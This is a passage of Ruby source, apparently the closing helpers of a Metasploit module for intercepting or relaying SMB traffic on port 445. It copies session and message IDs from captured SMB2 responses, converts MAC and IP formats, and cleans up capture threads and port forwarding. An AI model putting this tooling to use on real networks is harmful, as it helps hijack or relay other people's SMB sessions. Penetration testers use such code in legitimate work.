tcp_ack: response.tcp_header.tcp_seq + response.payload.size,
tcp_win: response.tcp_header.tcp_win,
tcp_flags: { ack: 1, psh: 1 }
)
end
# This sets the smb2 header flags on the request with the
provided values.
def set_request_smb2_header_flags(request, tree_id, process_id,
response_smb2)
request.smb2_header.tree_id = tree_id
request.smb2_header.process_id = process_id
request.smb2_header.credit_charge = 1
request.smb2_header.credits = 256
request.smb2_header.message_id =
response_smb2.smb2_header.message_id + 1
request.smb2_header.session_id =
response_smb2.smb2_header.session_id
nil
end
# This converts a string to a binary mac.
def str2mac(str)
# [str.split(':').join].pack('H*')
Rex::Socket.eth_aton(str)
end
# This converts a binary mac to a string.
def mac2str(mac)
# mac.to_s.bytes.map { |s| s.to_s(16).rjust(2, '0') }.join(':')
Rex::Socket.eth_ntoa(mac)
end
# This converts a string to a binary ip.
def str2ip(str)
# str.split('.').map(&:to_i).pack('C*')
Rex::Socket.addr_aton(str)
end
# This converts a binary ip to a string.
def ip2str(ip)
# ip.bytes.map(&:to_s).join('.')
Rex::Socket.addr_ntoa(ip)
end
# This converts an integer to a binary ip.
def int2ip(int)
# [int].pack('N')
Rex::Socket.addr_iton(int)
end
# This cleans up and exits all the active threads.
def cleanup
@cleanup_mutex.synchronize do
unless @cleanedup
print_status 'Cleaning Up...'
@syn_capture_thread.exit if @syn_capture_thread
@ack_capture_thread.exit if @ack_capture_thread
@main_threads.map(&:exit) if @main_threads
reset_p445_fwrd
@cleanedup = true
print_status 'Cleaned Up.'
end
end
end
end

